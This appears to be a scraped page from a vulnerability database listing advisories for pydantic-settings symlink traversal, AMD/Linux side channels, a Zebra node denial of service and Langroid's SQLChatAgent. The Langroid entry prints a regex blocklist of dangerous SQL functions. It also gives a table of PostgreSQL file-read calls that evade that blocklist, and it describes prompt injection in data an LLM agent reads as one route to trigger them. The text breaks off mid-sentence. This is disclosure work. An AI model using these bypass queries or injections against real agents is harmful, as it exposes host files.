Impact Applications that opt into `NestedSecretsSettingsSource` with `secrets_nested_subdir=True` and load secrets from a directory whose entries can be influenced by an attacker or a lower-privileged component (for example, a writable or shared secrets mount, or a secrets directory partially populated from untrusted input) are affected. The impact is: * **Confidentiality:** files outside the configured `secrets_dir` can be read into settings values (local file read). * **Integrity / availability of the safeguard:** the advertised `secrets_dir_max_size` cap can be bypassed, and cyclic symlinks can inflate resource usage during loading. The vulnerability requires the ability to place a symbolic link inside the configured secrets directory; it is not remotely reachable on its own. Applications that do not use `NestedSecretsSettingsSource`, or that point `secrets_dir` at a directory fully under the application's control, are not affected. ### Mitigation Upgrade to **pydantic-settings 2.14.2**, which: * walks the secrets directory explicitly and only descends into directories whose resolved path stays within `secrets_dir`, so symlinked directories pointing outside are never followed; * uses a single, cycle-safe iterator for both the size check and the loader, so the size accounting and the loaded set are always consistent and each real directory is visited at most once; * skips any file whose resolved path escapes `secrets_dir`, as defense in depth. If upgrading is not immediately possible, ensure the configured `secrets_dir` is fully owned and controlled by the application (no writable or attacker-influenced entries), or avoid `secrets_nested_subdir=True`. | CVE Database V5 | ||
| High | – | EPSS 1.4% | CVE-2026-53359Bundesamt für Sicherheit in der Informationstechnik Amazon · Linux Kernel: Mehrere Schwachstellen HighEPSS 1.4%GCVE DatabaseCVE-2026-53359 This entry references multiple vulnerabilities related to the Linux kernel and AMD EPYC 5th generation processors, specifically transient scheduler attacks (TSAs) that may leak sensitive information via side channels. The vulnerabilities affect certain AMD EPYC processors and potentially allow attackers to infer data across privilege boundaries. Mitigations include updating guest operating systems and applying vendor fixes. No direct exploit in the wild is reported for the Linux kernel vulnerability CVE-2026-53359. The advisory primarily details AMD CPU vulnerabilities and their mitigations rather than specifics about the Linux kernel flaw. | GCVE Database | ||
| Low | 3.7 | Low3.7GCVE Database ### Am I affected You are affected if: 1. You run `zebrad` up to and including `v4.4.1`. 2. Your node accepts inbound P2P connections. ### Summary The `read_getblocks` and `read_getheaders` codec paths accepted block locator vectors up to approximately 65,535 entries (the generic `TrustedPreallocate` ceiling derived from `MAX_PROTOCOL_MESSAGE_LEN`), rather than the protocol-specification limit of 101 entries (matching zcashd's `MAX_LOCATOR_SZ`). Each entry in the locator vector triggers a per-hash chain lookup (`HashMap::contains_key` + `RocksDB::contains_hash`) in `find_chain_intersection` on a tokio blocking-pool thread. A single maximally-sized `getblocks` message occupies one blocking-pool thread for approximately 10–65ms. Under sustained load from multiple peers, this can degrade state-read performance for block validation, RPC, and mempool lookups. ### Details The `read_headers` codec path already implements the correct pattern: it reads the CompactSize count, validates against `MAX_HEADERS_PER_MESSAGE = 160` before deserialization, and rejects oversized messages. The `read_getblocks` and `read_getheaders` paths were missing this pre-deserialization count check and instead relied on the generic `block::Hash::max_allocation()` bound, which allows `(MAX_PROTOCOL_MESSAGE_LEN - 1) / 32 = 65,535` hashes. A legitimate block locator is logarithmic in chain length (approximately 30 hashes for the current ~3M-block Zcash chain). Zebra's own send-side cap is `MAX_FIND_BLOCK_HASHES_RESULTS = 500`. The practical impact requires significant attacker bandwidth (approximately 2 MiB per request) and multiple Sybil peers to meaningfully degrade the blocking pool, which limits real-world exploitability. ### Patches Patched in Zebra 4.4.2. The fix caps `block::Hash::max_allocation()` at `MAX_BLOCK_LOCATOR_LENGTH = 101`, matching zcashd's `MAX_LOCATOR_SZ`. This causes the deserializer to reject oversized locators before any allocation or iteration occurs. ### Workarounds No specific workaround is needed. Existing backpressure mechanisms (load shedding, sequential per-peer message processing, connection limits) constrain the practical impact. ### Impact Under sustained load from multiple Sybil peers, oversized locator vectors can occupy blocking-pool threads and degrade state-read performance. The effect is bounded by connection limits and requires significant attacker bandwidth. ### Credit Vulnerability identified by `@dingledropper`, who submitted the fix in [PR #10570](https://github.com/ZcashFoundation/zebra/pull/10570). Downstream CPU/blocking-pool impact analysis contributed by `@ouicate`. | GCVE Database | |||
| High | 8.7 | EPSS 0.7% | CVE-2026-50180Langroid · SQLChatAgent _validate_query blocklist misses pg_read_file family enabling arbitrary file read High8.7EPSS 0.7%GCVE DatabaseCVE-2026-50180 ### Summary `SQLChatAgent` in `langroid` ships a `_validate_query` defense-in-depth layer whose `_DANGEROUS_SQL_PATTERNS` regex blocklist enumerates dangerous SQL primitives by specific function name. The list misses the canonical PostgreSQL filesystem-disclosure family `pg_read_file()`, `pg_stat_file()`, `pg_ls_logdir()`, `pg_ls_waldir()`, `pg_current_logfile()` (and similar `SELECT`-shaped functions in the same family). It also leaves SQL Server `OPENDATASOURCE` and SQLite `ATTACH '<file>' AS x` (DATABASE keyword omitted) unblocked. An attacker able to shape the LLM's generated SQL (directly via prompt input or transitively via prompt-injection in data the LLM ingests) can read arbitrary files from the PostgreSQL host through ordinary `SELECT` queries, even with the agent's strict default configuration (`allow_dangerous_operations=False`, `allowed_statement_types=['SELECT']`). The payloads survive the statement-type allowlist (each is a `SELECT`) and pass through the regex blocklist (none of the function names match), then reach the live SQLAlchemy engine via `SQLChatAgent.run_query`. ### Affected versions `langroid` `<= 0.63.0` (latest at the time of this report; PyPI release 2026-05-27). The vulnerable code path is `langroid/agent/special/sql/sql_chat_agent.py::_validate_query`, which consults the module-level `_DANGEROUS_SQL_PATTERNS` literal at `sql_chat_agent.py:113-141`. ### Privilege required Any caller able to influence the LLM-generated `RunQueryTool.query` string that reaches `SQLChatAgent.run_query`. In a typical deployment this is any client of a SQLChatAgent-backed service, or any upstream data source whose content the LLM is asked to read and summarise. No PostgreSQL credentials are required from the attacker; the agent holds them. ### Vulnerable code `langroid/agent/special/sql/sql_chat_agent.py:113-141` (the `_DANGEROUS_SQL_PATTERNS` literal) and `sql_chat_agent.py:546-615` (the `_validate_query` method that consults it): ```python # sql_chat_agent.py:113 _DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [ re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE), re.compile(r"\bpg_read_server_files?\b", re.IGNORECASE), re.compile(r"\bpg_read_binary_file\b", re.IGNORECASE), re.compile(r"\bpg_ls_dir\b", re.IGNORECASE), re.compile(r"\blo_(import|export)\b", re.IGNORECASE), re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE), re.compile(r"\bload_file\s*\(", re.IGNORECASE), re.compile(r"\bload\s+data\b", re.IGNORECASE), re.compile(r"\bload_extension\s*\(", re.IGNORECASE), re.compile(r"\battach\s+database\b", re.IGNORECASE), re.compile(r"\bxp_cmdshell\b", re.IGNORECASE), re.compile(r"\bsp_oacreate\b", re.IGNORECASE), re.compile(r"\bsp_oamethod\b", re.IGNORECASE), re.compile(r"\bopenrowset\b", re.IGNORECASE), re.compile(r"\bbulk\s+insert\b", re.IGNORECASE), re.compile( r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger)\b", re.IGNORECASE, ), re.compile(r"\bcreate\s+extension\b", re.IGNORECASE), ] ``` The blocklist is a list of `\b<exact-token>\b` literals. PostgreSQL ships several near-name functions on the same primitive that none of these match: | Function | What it returns | Matched by blocklist? | |---|---|---| | `pg_read_server_file('/path')` | file contents | yes (`pg_read_server_files?`) | | `pg_read_binary_file('/path')` | binary contents | yes | | `pg_ls_dir('/path')` | directory listing | yes | | `pg_read_file('/path')` | file contents | **no** (no `_server_` infix) | | `pg_stat_file('/path')` | size, mtime, ctime, atime, isdir | **no** | | `pg_ls_logdir()` | filenames in PostgreSQL log dir | **no** | | `pg_ls_waldir()` | WAL filenames and sizes | **no** | | `pg_ls_tmpdir()` | temp-dir listing | **no** | | `pg_ls_archive_statusdir()` | archive-status directory listing | **no** | | `pg_current_logfile()` | active server log path | **no** | Each of these is a `SELECT`-shaped function call. They pass the `sqlglot_exp.Select`-only statement-type allowlist applied at `sql_chat_agent.py:583-614`, then evade the regex blocklist (their names contain no token the blocklist enumerates), then reach the SQLAlchemy `session.execute(text(query))` sink inside `SQLChatAgent.run_query` (line 631 onwards). Two non-PostgreSQL secondary gaps with the same regex-enumeration shape: - The SQLite pattern `\battach\s+database\b` requires the literal `DATABASE` keyword. Per the SQLite grammar (https://www.sqlite.org/lang_attach.html) the keyword is optional: `ATTACH '/path/to/db' AS x` is valid syntax and matches no entry in the blocklist. Whether the agent rejects this via the statement-type allowlist depends on how the configured `sqlglot` dialect parses it; on PostgreSQL dialect parsing fails (sqlglot returns no `Select`) and the statement-type check rejects, but a SQLite-dialect SQLChatAgent (`database_uri="sqlite:///..."`) returns the statement as `sqlglot_exp.Attach`, whi | GCVE Database |
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